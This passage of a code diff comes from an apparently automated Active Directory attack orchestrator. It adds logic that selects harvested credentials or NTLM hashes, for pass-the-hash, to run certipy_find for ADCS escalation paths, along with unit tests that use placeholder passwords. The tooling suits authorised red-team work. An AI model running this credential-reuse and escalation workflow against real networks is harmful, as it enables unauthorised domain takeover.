state.mark_processed(DEDUP_ACL_DISCOVERY, "acl_disc:contoso.local:trust".into()); + let work = collect_acl_discovery_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].domain, "fabrikam.local"); + } + + #[test] + fn collect_prefers_same_domain_credential() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + // Add cross-domain cred first, then same-domain cred + state + .credentials + .push(make_credential("crossuser", "Cross!1", "fabrikam.local")); // pragma: allowlist secret + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + let work = collect_acl_discovery_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].credential.username, "admin"); + assert_eq!(work[0].credential.domain, "contoso.local"); + } + + #[test] + fn collect_cross_domain_cred_skipped_without_hash() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + // Only a fabrikam credential available for contoso DC — should NOT fall back + state + .credentials + .push(make_credential("crossuser", "Cross!1", "fabrikam.local")); // pragma: allowlist secret + let work = collect_acl_discovery_work(&state); + assert_eq!(work.len(), 0, "cross-domain cred should not produce work"); + } + + #[test] + fn collect_skips_empty_password_credentials() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + // Credential with empty password + state + .credentials + .push(make_credential("admin", "", "contoso.local")); + let work = collect_acl_discovery_work(&state); + assert!(work.is_empty()); + } + + #[test] + fn collect_skips_empty_password_uses_next() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state + .credentials + .push(make_credential("nopw", "", "contoso.local")); + state + .credentials + .push(make_credential("haspw", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + let work = collect_acl_discovery_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].credential.username, "haspw"); + } + + #[test] + fn collect_known_users_only_from_same_domain() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + state + .credentials + .push(make_credential("jdoe", "Pass!456", "contoso.local")); // pragma: allowlist secret + state + .credentials + .push(make_credential("crossuser", "Cross!1", "fabrikam.local")); // pragma: allowlist secret + let work = collect_acl_discovery_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].known_users.len(), 2); + assert!(work[0].known_users.contains(&"admin".to_string())); + assert!(work[0].known_users.contains(&"jdoe".to_string())); + assert!(!work[0].known_users.contains(&"crossuser".to_string())); + } + + #[test] + fn collect_dedup_key_lowercased() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("CONTOSO.LOCAL".into(), "192.168.58.10".into()); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + let work = collect_acl_discovery_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].dedup_key, "acl_disc:contoso.local:cred"); + } + + #[test] + fn collect_all_empty_password_creds_skips_domain() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state + .credentials + .push(make_credential("user1", "", "contoso.local")); + state + .credentials + .push(make_credential("user2", "", "fabrikam.local")); + let work = collect_acl_discovery_work(&state); + assert!(work.is_empty()); + } + + #[test] + fn collect_quarantined_credential_skipped() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state + .credentials + .push(make_credential("baduser", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + state.quarantine_principal("baduser", "contoso.local"); + let work = collect_acl_discovery_work(&state); + assert!(work.is_empty()); + } + + #[test] + fn collect_quarantined_same_domain_skipped_without_hash() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state + .credentials + .push(make_credential("baduser", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + state + .credentials + .push(make_credential("gooduser", "Pass!456", "fabrikam.local")); // pragma: allowlist secret + state.quarantine_principal("baduser", "contoso.local"); + // No same-domain cred (quarantined) and no hash → skip + let work = collect_acl_discovery_work(&state); + assert_eq!( + work.len(), + 0, + "quarantined same-domain cred should not fall back to cross-domain" + ); + } + + #[test] + fn collect_all_credentials_quarantined_skips_domain() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state + .credentials + .push(make_credential("user1", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + state + .credentials + .push(make_credential("user2", "Pass!456", "fabrikam.local")); // pragma: allowlist secret + state.quarantine_principal("user1", "contoso.local"); + state.quarantine_principal("user2", "fabrikam.local"); + let work = collect_acl_discovery_work(&state); + assert!(work.is_empty()); + } + + #[tokio::test] + async fn collect_via_shared_state() { + let shared = SharedState::new("test-op".into()); + { + let mut state = shared.write().await; + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + } + let state = shared.read().await; + let work = collect_acl_discovery_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].domain, "contoso.local"); + } + + #[test] + fn collect_case_insensitive_domain_matching_for_creds() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("CONTOSO.LOCAL".into(), "192.168.58.10".into()); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "Contoso.Local")); // pragma: allowlist secret + let work = collect_acl_discovery_work(&state); + assert_eq!(work.len(), 1); + // Should match via case-insensitive comparison + assert_eq!(work[0].credential.username, "admin"); + assert_eq!(work[0].credential.domain, "Contoso.Local"); + } + + #[test] + fn collect_known_users_includes_empty_password_users() { + // known_users collects ALL creds for the domain, even ones with empty passwords + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + state + .credentials + .push(make_credential("nopw_user", "", "contoso.local")); + let work = collect_acl_discovery_work(&state); + assert_eq!(work.len(), 1); + // Both users should appear in known_users (useful for ACE checking) + assert_eq!(work[0].known_users.len(), 2); + assert!(work[0].known_users.contains(&"admin".to_string())); + assert!(work[0].known_users.contains(&"nopw_user".to_string())); + } +} diff --git a/ares-cli/src/orchestrator/automation/adcs.rs b/ares-cli/src/orchestrator/automation/adcs.rs index f46d6a06..e46ecac7 100644 --- a/ares-cli/src/orchestrator/automation/adcs.rs +++ b/ares-cli/src/orchestrator/automation/adcs.rs @@ -3,9 +3,12 @@ use std::sync::Arc; use std::time::Duration; +use serde_json::json; use tokio::sync::watch; use tracing::{info, warn}; +use ares_llm::ToolCall; + use crate::orchestrator::dispatcher::Dispatcher; use crate::orchestrator::state::*; @@ -17,6 +20,278 @@ fn extract_domain_from_fqdn(fqdn: &str) -> Option { .map(|(_, d)| d.to_string()) } +/// Work item for ADCS enumeration. +/// +/// When no cleartext credential is available but an NTLM hash is, the work +/// item carries a synthetic `Credential` with the hash-owner's username and +/// an empty password. The worker's credential resolver looks up the matching +/// `Hash` record by `(username, domain)` and injects it as the `hash` arg, so +/// the dispatcher doesn't need to thread the hash through separately. +struct AdcsWork { + host_ip: String, + /// Auth-and-identity dedup key + /// (e.g. `"192.168.58.10:cred:jdoe@contoso.local"` or `"…:hash:admin@…"`). + /// Including the credential identity prevents one wrong-domain attempt + /// from permanently locking a CA host against later, possibly-correct creds. + dedup_key: String, + dc_ip: Option, + domain: String, + credential: ares_core::models::Credential, +} + +/// Dedup key for a cred-based certipy_find attempt. +/// Format: `{host}:cred:{username}@{domain}` (lowercased identity). +pub(crate) fn dedup_key_cred(host: &str, cred: &ares_core::models::Credential) -> String { + format!( + "{}:cred:{}@{}", + host, + cred.username.to_lowercase(), + cred.domain.to_lowercase() + ) +} + +/// Dedup key for a hash-based certipy_find attempt. +/// Format: `{host}:hash:{username}@{domain}` (lowercased identity). +pub(crate) fn dedup_key_hash(host: &str, hash: &ares_core::models::Hash) -> String { + format!( + "{}:hash:{}@{}", + host, + hash.username.to_lowercase(), + hash.domain.to_lowercase() + ) +} + +/// Returns true when `host` advertises an LDAP service (port 389 or 636, +/// or a service line containing `ldap`). LDAP availability is the +/// authoritative signal that a host is a DC (or CA-co-located DC) and is +/// a valid certipy_find target even when share enumeration hasn't surfaced +/// a `CertEnroll` entry yet. +fn host_has_ldap(host: &ares_core::models::Host) -> bool { + host.services.iter().any(|s| { + let l = s.to_lowercase(); + l.starts_with("389/") || l.starts_with("636/") || l.contains("ldap") + }) +} + +/// Collect ADCS enumeration work items from current state. +/// +/// Pure logic extracted from `auto_adcs_enumeration` so it can be unit-tested +/// without needing a `Dispatcher` or async runtime. +/// +/// Candidate hosts come from two sources: +/// 1. Confirmed CA hosts — any host with a `CertEnroll` share. These are +/// certainly running ADCS web enrollment. +/// 2. LDAP-open hosts — any DC-like host where `auto_share_enumeration` +/// didn't (yet) surface `CertEnroll`. Cross-forest SMB auth often fails +/// with access-denied and silently disables ADCS enumeration. Falling +/// back to LDAP-only hosts lets certipy_find probe the CA via LDAP +/// directly even when SMB share-listing failed. +fn collect_adcs_work(state: &StateInner) -> Vec { + if state.credentials.is_empty() && state.hashes.is_empty() { + return Vec::new(); + } + + // Source 1: hosts with confirmed CertEnroll share. + let cert_share_hosts: Vec = state + .shares + .iter() + .filter(|s| s.name.to_lowercase() == "certenroll") + .map(|s| s.host.clone()) + .collect(); + + // Source 2: LDAP-open hosts not already covered by a CertEnroll share. + // These are tried with the same credential/hash selection logic; if the + // host doesn't actually run ADCS, certipy_find will return nothing and + // the dedup key marks it as processed (no further attempts). + let cert_share_set: std::collections::HashSet = + cert_share_hosts.iter().cloned().collect(); + let ldap_fallback_hosts: Vec = state + .hosts + .iter() + .filter(|h| host_has_ldap(h) && !cert_share_set.contains(&h.ip)) + .map(|h| h.ip.clone()) + .collect(); + + let mut candidate_hosts = cert_share_hosts; + candidate_hosts.extend(ldap_fallback_hosts); + + candidate_hosts + .into_iter() + .filter_map(|host_ip| { + let host_lower = host_ip.to_lowercase(); + + let domain = state + .hosts + .iter() + .find(|h| h.ip == host_ip || h.hostname.to_lowercase() == host_lower) + .and_then(|h| extract_domain_from_fqdn(&h.hostname)) + .and_then(|d| { + if state.domains.iter().any(|known| known.to_lowercase() == d) { + Some(d) + } else { + state + .domains + .iter() + .find(|known| d.ends_with(&format!(".{}", known.to_lowercase()))) + .or_else(|| { + state + .domains + .iter() + .find(|known| known.to_lowercase().ends_with(&format!(".{d}"))) + }) + .cloned() + .or(Some(d)) + } + }) + .or_else(|| state.domains.first().cloned())?; + + // Skip domains we already own — DA on a domain means we don't + // need to escalate via its CA. (We may still need ADCS against an + // un-owned domain via cross-trust, so this is per-domain not global.) + if state.dominated_domains.contains(&domain) { + return None; + } + + // Look up DC IP for this domain (certipy needs LDAP on a DC, not the CA host). + // Uses resolve_dc_ip() which falls back to scanning hosts list when + // domain_controllers doesn't have an entry. + let dc_ip = state.resolve_dc_ip(&domain); + + // certipy_find authenticates via LDAP bind to the target DC. + // NTLM/Kerberos bind succeeds within the same forest (same domain or + // parent/child/sibling) but fails 52e across a forest trust because + // the source principal does not exist in the target's domain and + // impacket cannot follow Kerberos cross-realm referrals. + // + // Restrict cred selection to the same forest as the target. If no + // same-forest cred exists, skip dispatch — other automations + // (foreign_group_enum, mssql_linked_server, golden_cert) handle + // the cross-forest foothold path that yields a same-forest cred. + // + // The dedup key includes the candidate credential's identity, so a + // failed first attempt with one cred does not block a later, possibly + // correct cred against the same CA host. + let domain_lower = domain.to_lowercase(); + let target_forest = state.forest_root_of(&domain_lower); + let cred = { + let mut candidates: Vec<&ares_core::models::Credential> = state + .credentials + .iter() + .filter(|c| { + !c.password.is_empty() + && c.domain.to_lowercase() == domain_lower + && !state.is_delegation_account(&c.username) + && !state.is_principal_quarantined(&c.username, &c.domain) + }) + .collect(); + candidates.extend(state.credentials.iter().filter(|c| { + let cd = c.domain.to_lowercase(); + !c.password.is_empty() + && cd != domain_lower + && state.forest_root_of(&cd) == target_forest + && !state.is_delegation_account(&c.username) + && !state.is_principal_quarantined(&c.username, &c.domain) + })); + candidates + .into_iter() + .find(|c| !state.is_processed(DEDUP_ADCS_SERVERS, &dedup_key_cred(&host_ip, c))) + .cloned() + }; + + // Look for NTLM hash (PTH) only if cred path is exhausted (no + // unprocessed cred candidate exists). Same identity-aware dedup. + let hash_pick = if cred.is_none() { + let pred_admin_same = |h: &&ares_core::models::Hash| { + h.hash_type.eq_ignore_ascii_case("ntlm") + && (h.domain.to_lowercase() == domain_lower || h.domain.is_empty()) + && h.username.to_lowercase() == "administrator" + }; + let pred_any_same = |h: &&ares_core::models::Hash| { + h.hash_type.eq_ignore_ascii_case("ntlm") + && (h.domain.to_lowercase() == domain_lower || h.domain.is_empty()) + && !state.is_delegation_account(&h.username) + }; + let same_forest = |h: &&ares_core::models::Hash| -> bool { + let hd = h.domain.to_lowercase(); + !hd.is_empty() && state.forest_root_of(&hd) == target_forest + }; + let pred_admin_xdom = |h: &&ares_core::models::Hash| { + h.hash_type.eq_ignore_ascii_case("ntlm") + && same_forest(h) + && h.username.to_lowercase() == "administrator" + }; + let pred_any_xdom = |h: &&ares_core::models::Hash| { + h.hash_type.eq_ignore_ascii_case("ntlm") + && same_forest(h) + && !state.is_delegation_account(&h.username) + }; + + let mut candidates: Vec<&ares_core::models::Hash> = Vec::new(); + candidates.extend(state.hashes.iter().filter(pred_admin_same)); + candidates.extend(state.hashes.iter().filter(pred_any_same).filter(|h| { + h.username.to_lowercase() != "administrator" + || (h.domain.to_lowercase() != domain_lower && !h.domain.is_empty()) + })); + candidates.extend( + state.hashes.iter().filter(pred_admin_xdom).filter(|h| { + h.domain.to_lowercase() != domain_lower && !h.domain.is_empty() + }), + ); + candidates.extend( + state + .hashes + .iter() + .filter(pred_any_xdom) + .filter(|h| h.username.to_lowercase() != "administrator"), + ); + candidates + .into_iter() + .find(|h| !state.is_processed(DEDUP_ADCS_SERVERS, &dedup_key_hash(&host_ip, h))) + .cloned() + } else { + None + }; + // Need at least a credential or an NTLM hash + if cred.is_none() && hash_pick.is_none() { + return None; + } + + let dedup_key = match (&cred, &hash_pick) { + (Some(c), _) => dedup_key_cred(&host_ip, c), + (None, Some(h)) => dedup_key_hash(&host_ip, h), + (None, None) => return None, + }; + + // Synthetic credential from the hash owner's identity when no + // cleartext cred is available; credential_resolver looks up the + // matching Hash record by (username, domain) and injects the + // `hash` arg, which `certipy_find` accepts via `-hashes`. + let credential = cred.unwrap_or_else(|| { + let h = hash_pick.as_ref().expect("guard above ensures one is Some"); + ares_core::models::Credential { + id: String::new(), + username: h.username.clone(), + password: String::new(), + domain: domain.clone(), + source: "hash_fallback".into(), + is_admin: false, + discovered_at: None, + parent_id: None, + attack_step: 0, + } + }); + + Some(AdcsWork { + host_ip: host_ip.clone(), + dedup_key, + dc_ip, + domain, + credential, + }) + }) + .collect() +} + /// Detects ADCS servers by looking for CertEnroll shares and dispatches certipy_find. /// Interval: 30s. Matches Python `_auto_adcs_enumeration`. pub async fn auto_adcs_enumeration( @@ -35,83 +310,183 @@ pub async fn auto_adcs_enumeration( break; } - // Find CertEnroll shares on unprocessed hosts + get a credential - let work: Vec<(String, String, ares_core::models::Credential)> = { + let work = { let state = dispatcher.state.read().await; - let cred = match state - .credentials - .iter() - .find(|c| { - !state.is_delegation_account(&c.username) - && !state.is_credential_quarantined(&c.username, &c.domain) - }) - .or_else(|| state.credentials.first()) - { - Some(c) => c.clone(), - None => continue, - }; - state + let creds = state.credentials.len(); + let hashes = state.hashes.len(); + let certenroll_shares: Vec<_> = state .shares .iter() .filter(|s| s.name.to_lowercase() == "certenroll") - .filter(|s| !state.is_processed(DEDUP_ADCS_SERVERS, &s.host)) - .filter_map(|s| { - // Resolve the domain for this ADCS host by matching the - // host's FQDN against known domains, or finding which DC - // subnet the host belongs to. Falls back to first domain. - let host_lower = s.host.to_lowercase(); - let domain = state - .hosts - .iter() - .find(|h| h.ip == s.host || h.hostname.to_lowercase() == host_lower) - .and_then(|h| extract_domain_from_fqdn(&h.hostname)) - .and_then(|d| { - // Verify it's a known domain - if state.domains.iter().any(|known| known.to_lowercase() == d) { - Some(d) - } else { - // Try parent match (e.g. child.contoso.local → contoso.local) - state - .domains - .iter() - .find(|known| { - d.ends_with(&format!(".{}", known.to_lowercase())) - }) - .or_else(|| { - state.domains.iter().find(|known| { - known.to_lowercase().ends_with(&format!(".{d}")) - }) - }) - .cloned() - .or(Some(d)) - } - }) - .or_else(|| state.domains.first().cloned())?; - Some((s.host.clone(), domain, cred.clone())) - }) - .collect() + .collect(); + let ce_count = certenroll_shares.len(); + let ce_hosts: Vec<_> = certenroll_shares.iter().map(|s| s.host.as_str()).collect(); + let cred_domains: Vec<_> = state + .credentials + .iter() + .map(|c| c.domain.as_str()) + .collect(); + let hash_domains: Vec<_> = state.hashes.iter().map(|h| h.domain.as_str()).collect(); + let domains: Vec<_> = state.domains.iter().map(|d| d.as_str()).collect(); + let w = collect_adcs_work(&state); + info!( + creds, + hashes, + certenroll_shares = ce_count, + ?ce_hosts, + ?cred_domains, + ?hash_domains, + ?domains, + work_items = w.len(), + "auto_adcs_enumeration: tick" + ); + w }; - for (host_ip, domain, cred) in work { - match dispatcher - .request_certipy_find(&host_ip, &domain, &cred) + for item in work { + // Use DC IP for certipy LDAP queries; fall back to CA host IP + let target_ip = item.dc_ip.as_deref().unwrap_or(&item.host_ip); + // Pass CA host IP separately so the parser sets the correct vuln target + // (the CA server, not the DC used for LDAP). + let ca_host_ip = if item.dc_ip.is_some() { + Some(item.host_ip.as_str()) + } else { + None + }; + + // Mark dedup BEFORE dispatch so concurrent ticks don't double-fire + // against the same (CA, credential) pair. The spawned task clears + // dedup on transport failure so the next tick can retry. + dispatcher + .state + .write() .await - { - Ok(Some(task_id)) => { - info!(task_id = %task_id, host = %host_ip, "ADCS enumeration dispatched"); - dispatcher - .state - .write() - .await - .mark_processed(DEDUP_ADCS_SERVERS, host_ip.clone()); - let _ = dispatcher - .state - .persist_dedup(&dispatcher.queue, DEDUP_ADCS_SERVERS, &host_ip) - .await; - } - Ok(None) => {} - Err(e) => warn!(err = %e, "Failed to dispatch ADCS enumeration"), + .mark_processed(DEDUP_ADCS_SERVERS, item.dedup_key.clone()); + let _ = dispatcher + .state + .persist_dedup(&dispatcher.queue, DEDUP_ADCS_SERVERS, &item.dedup_key) + .await; + + // Deterministic tool dispatch — bypass the LLM "recon" agent. + // The LLM-routed path (`request_certipy_find`) puts a task in the + // recon queue with instructions to call `certipy_find` and + // register vulns. In practice the recon agent has been observed + // burning its budget on adjacent techniques (unconstrained + // delegation TGT dumps that need local admin, WinRM exec without + // a WinRM tool installed, etc.) and never reaching certipy_find + // against discovered ADCS servers — even when a usable cred for + // the CA's domain is sitting in state. Bypassing the agent + // guarantees every (CA host, cred) pair gets one certipy_find + // shot; the worker's parser (`parse_certipy_find`) extracts ESC + // vulns from raw output and the result_processing pipeline + // publishes them, letting `auto_adcs_exploitation` pick up + // immediately. Same approach as `auto_mssql_link_pivot`. + let task_id = format!( + "adcs_find_{}", + &uuid::Uuid::new_v4().simple().to_string()[..12] + ); + let mut args = json!({ + "username": item.credential.username, + "domain": item.domain, + "dc_ip": target_ip, + "vulnerable": true, + }); + if let Some(ref ca_ip) = ca_host_ip { + // Surfaces ca_host_ip in the params object the parser reads to + // set the resulting vuln's `target` to the CA, not the DC. + args["ca_host_ip"] = json!(ca_ip); } + // Credential resolver injects password/hash from state given + // (username, domain) — we never carry secrets in the args here. + let call = ToolCall { + id: format!("certipy_find_{}", uuid::Uuid::new_v4().simple()), + name: "certipy_find".to_string(), + arguments: args, + }; + info!( + task_id = %task_id, + ca_host = %item.host_ip, + dc_ip = ?item.dc_ip, + domain = %item.domain, + user = %item.credential.username, + "ADCS find dispatched (direct tool, no LLM)" + ); + + let dispatcher_bg = dispatcher.clone(); + let dedup_key_bg = item.dedup_key.clone(); + let host_ip_bg = item.host_ip.clone(); + let task_id_bg = task_id.clone(); + tokio::spawn(async move { + let result = dispatcher_bg + .llm_runner + .tool_dispatcher() + .dispatch_tool("recon", &task_id_bg, &call) + .await; + match result { + Ok(exec) => { + let vulns_found = exec + .discoveries + .as_ref() + .and_then(|d| d.get("vulnerabilities")) + .and_then(|v| v.as_array()) + .map(|a| a.len()) + .unwrap_or(0); + info!( + task_id = %task_id_bg, + ca_host = %host_ip_bg, + vulns_found, + "Deterministic certipy_find completed" + ); + // No vulns + no transport error → genuine "nothing + // vulnerable here". Keep dedup locked. The exec + // path may also emit an error if creds were + // missing — in which case clear dedup to allow a + // later credential to retry. + if let Some(err) = exec.error { + warn!( + task_id = %task_id_bg, + ca_host = %host_ip_bg, + err = %err, + "Deterministic certipy_find failed — clearing dedup for retry" + ); + dispatcher_bg + .state + .write() + .await + .unmark_processed(DEDUP_ADCS_SERVERS, &dedup_key_bg); + let _ = dispatcher_bg + .state + .unpersist_dedup( + &dispatcher_bg.queue, + DEDUP_ADCS_SERVERS, + &dedup_key_bg, + ) + .await; + } + } + Err(e) => { + warn!( + task_id = %task_id_bg, + ca_host = %host_ip_bg, + err = %e, + "Deterministic certipy_find dispatch errored — clearing dedup for retry" + ); + dispatcher_bg + .state + .write() + .await + .unmark_processed(DEDUP_ADCS_SERVERS, &dedup_key_bg); + let _ = dispatcher_bg + .state + .unpersist_dedup( + &dispatcher_bg.queue, + DEDUP_ADCS_SERVERS, + &dedup_key_bg, + ) + .await; + } + } + }); } } } @@ -119,6 +494,331 @@ pub async fn auto_adcs_enumeration( #[cfg(test)] mod tests { use super::*; + use ares_core::models::{Credential, Host, Share}; + + fn make_credential(username: &str, password: &str, domain: &str) -> Credential { + Credential { + id: format!("c-{username}"), + username: username.into(), + password: password.into(), // pragma: allowlist secret + domain: domain.into(), + source: "test".into(), + is_admin: false, + discovered_at: None, + parent_id: None, + attack_step: 0, + } + } + + fn make_host(ip: &str, hostname: &str, is_dc: bool) -> Host { + Host { + ip: ip.into(), + hostname: hostname.into(), + os: String::new(), + roles: Vec::new(), + services: Vec::new(), + is_dc, + owned: false, + } + } + + fn make_share(host: &str, name: &str) -> Share { + Share { + host: host.into(), + name: name.into(), + permissions: String::new(), + comment: String::new(), + authenticated_as: None, + } + } + + // --- collect_adcs_work tests --- + + #[test] + fn collect_empty_state_returns_no_work() { + let state = StateInner::new("test-op".into()); + let work = collect_adcs_work(&state); + assert!(work.is_empty()); + } + + #[test] + fn collect_no_credentials_returns_no_work() { + let mut state = StateInner::new("test-op".into()); + state.shares.push(make_share("192.168.58.50", "CertEnroll")); + let work = collect_adcs_work(&state); + assert!(work.is_empty()); + } + + #[test] + fn collect_certenroll_share_produces_work() { + let mut state = StateInner::new("test-op".into()); + state.shares.push(make_share("192.168.58.50", "CertEnroll")); + state + .hosts + .push(make_host("192.168.58.50", "ca01.contoso.local", false)); + state.domains.push("contoso.local".into()); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + let work = collect_adcs_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].host_ip, "192.168.58.50"); + assert_eq!(work[0].domain, "contoso.local"); + assert_eq!(work[0].credential.username, "admin"); + } + + #[test] + fn collect_ldap_open_host_produces_work_even_without_certenroll_share() { + // LDAP-fallback path: a DC with port 389 open but no CertEnroll share + // discovered (e.g., share enum failed cross-forest). The chain should + // still emit a certipy_find work item against it. + let mut state = StateInner::new("test-op".into()); + let mut dc = make_host("192.168.58.20", "dc02.fabrikam.local", true); + dc.services.push("389/tcp ldap".into()); + state.hosts.push(dc); + state.domains.push("fabrikam.local".into()); + state + .credentials + .push(make_credential("alice", "P@ssw0rd!", "fabrikam.local")); // pragma: allowlist secret + let work = collect_adcs_work(&state); + assert_eq!(work.len(), 1, "ldap-open host should yield ADCS work"); + assert_eq!(work[0].host_ip, "192.168.58.20"); + assert_eq!(work[0].domain, "fabrikam.local"); + } + + #[test] + fn collect_skips_ldap_host_already_covered_by_certenroll_share() { + // When the same host has BOTH a CertEnroll share AND LDAP open, we + // should emit exactly one work item (no double-dispatch). + let mut state = StateInner::new("test-op".into()); + state.shares.push(make_share("192.168.58.50", "CertEnroll")); + let mut ca = make_host("192.168.58.50", "ca01.contoso.local", false); + ca.services.push("389/tcp ldap".into()); + state.hosts.push(ca); + state.domains.push("contoso.local".into()); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + let work = collect_adcs_work(&state); + assert_eq!(work.len(), 1, "ldap-fallback must not duplicate share path"); + } + + #[test] + fn collect_skips_host_without_ldap_or_certenroll() { + // A plain SMB-only file server has no LDAP and no CertEnroll share — + // not a candidate for ADCS enumeration. + let mut state = StateInner::new("test-op".into()); + let mut fs = make_host("192.168.58.40", "fs01.contoso.local", false); + fs.services.push("445/tcp microsoft-ds".into()); + state.hosts.push(fs); + state.domains.push("contoso.local".into()); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + let work = collect_adcs_work(&state); + assert!( + work.is_empty(), + "non-LDAP host should not be an ADCS candidate" + ); + } + + #[test] + fn host_has_ldap_detects_port_and_service() { + let mut h = make_host("192.168.58.10", "dc01.contoso.local", true); + assert!(!host_has_ldap(&h)); + h.services.push("389/tcp ldap".into()); + assert!(host_has_ldap(&h)); + + let mut h2 = make_host("192.168.58.11", "dc02.contoso.local", true); + h2.services.push("636/tcp ssl/ldap".into()); + assert!(host_has_ldap(&h2)); + + let mut h3 = make_host("192.168.58.12", "ws01.contoso.local", false); + h3.services.push("445/tcp microsoft-ds".into()); + assert!(!host_has_ldap(&h3)); + } + + #[test] + fn collect_dedup_skips_already_processed() { + let mut state = StateInner::new("test-op".into()); + state.shares.push(make_share("192.168.58.50", "CertEnroll")); + state + .hosts + .push(make_host("192.168.58.50", "ca01.contoso.local", false)); + state.domains.push("contoso.local".into()); + let cred = make_credential("admin", "P@ssw0rd!", "contoso.local"); // pragma: allowlist secret + state.credentials.push(cred.clone()); + // Mark the identity-aware dedup key for the only candidate cred. + state.mark_processed(DEDUP_ADCS_SERVERS, dedup_key_cred("192.168.58.50", &cred)); + let work = collect_adcs_work(&state); + assert!(work.is_empty()); + } + + #[test] + fn collect_non_certenroll_share_ignored() { + let mut state = StateInner::new("test-op".into()); + state.shares.push(make_share("192.168.58.50", "SYSVOL")); + state + .hosts + .push(make_host("192.168.58.50", "dc01.contoso.local", true)); + state.domains.push("contoso.local".into()); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + let work = collect_adcs_work(&state); + assert!(work.is_empty()); + } + + #[test] + fn collect_prefers_same_domain_credential() { + let mut state = StateInner::new("test-op".into()); + state.shares.push(make_share("192.168.58.50", "CertEnroll")); + state + .hosts + .push(make_host("192.168.58.50", "ca01.fabrikam.local", false)); + state.domains.push("fabrikam.local".into()); + state + .credentials + .push(make_credential("crossuser", "Cross!1", "contoso.local")); // pragma: allowlist secret + state + .credentials + .push(make_credential("fabadmin", "Fab!Pass1", "fabrikam.local")); // pragma: allowlist secret + let work = collect_adcs_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].credential.username, "fabadmin"); + } + + #[test] + fn collect_falls_back_to_first_domain_when_no_host_match() { + let mut state = StateInner::new("test-op".into()); + state.shares.push(make_share("192.168.58.50", "CertEnroll")); + // No matching host in state.hosts + state.domains.push("contoso.local".into()); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + let work = collect_adcs_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].domain, "contoso.local"); + } + + #[test] + fn collect_certenroll_case_insensitive() { + let mut state = StateInner::new("test-op".into()); + state.shares.push(make_share("192.168.58.50", "certenroll")); + state.domains.push("contoso.local".into()); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + let work = collect_adcs_work(&state); + assert_eq!(work.len(), 1); + } + + #[test] + fn collect_multiple_adcs_hosts() { + let mut state = StateInner::new("test-op".into()); + state.shares.push(make_share("192.168.58.50", "CertEnroll")); + state.shares.push(make_share("192.168.58.51", "CertEnroll")); + state + .hosts + .push(make_host("192.168.58.50", "ca01.contoso.local", false)); + state + .hosts + .push(make_host("192.168.58.51", "ca02.fabrikam.local", false)); + state.domains.push("contoso.local".into()); + state.domains.push("fabrikam.local".into()); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + state + .credentials + .push(make_credential("fabadmin", "Fab!Pass1", "fabrikam.local")); // pragma: allowlist secret + let work = collect_adcs_work(&state); + assert_eq!(work.len(), 2); + } + + #[test] + fn collect_skips_cross_forest_cred_for_ca_host() { + // contoso.local CA, only fabrikam.local cred (different forest). + // certipy_find LDAP bind across forest trust fails 52e — skip dispatch. + let mut state = StateInner::new("test-op".into()); + state.shares.push(make_share("192.168.58.50", "CertEnroll")); + state + .hosts + .push(make_host("192.168.58.50", "ca01.contoso.local", false)); + state.domains.push("contoso.local".into()); + state.domains.push("fabrikam.local".into()); + state + .credentials + .push(make_credential("foreigner", "P@ss!", "fabrikam.local")); // pragma: allowlist secret + let work = collect_adcs_work(&state); + assert!( + work.is_empty(), + "should not dispatch ADCS enum with cross-forest cred" + ); + } + + #[test] + fn collect_uses_child_domain_cred_for_parent_ca() { + // child cred → parent CA: same forest, LDAP bind succeeds. + let mut state = 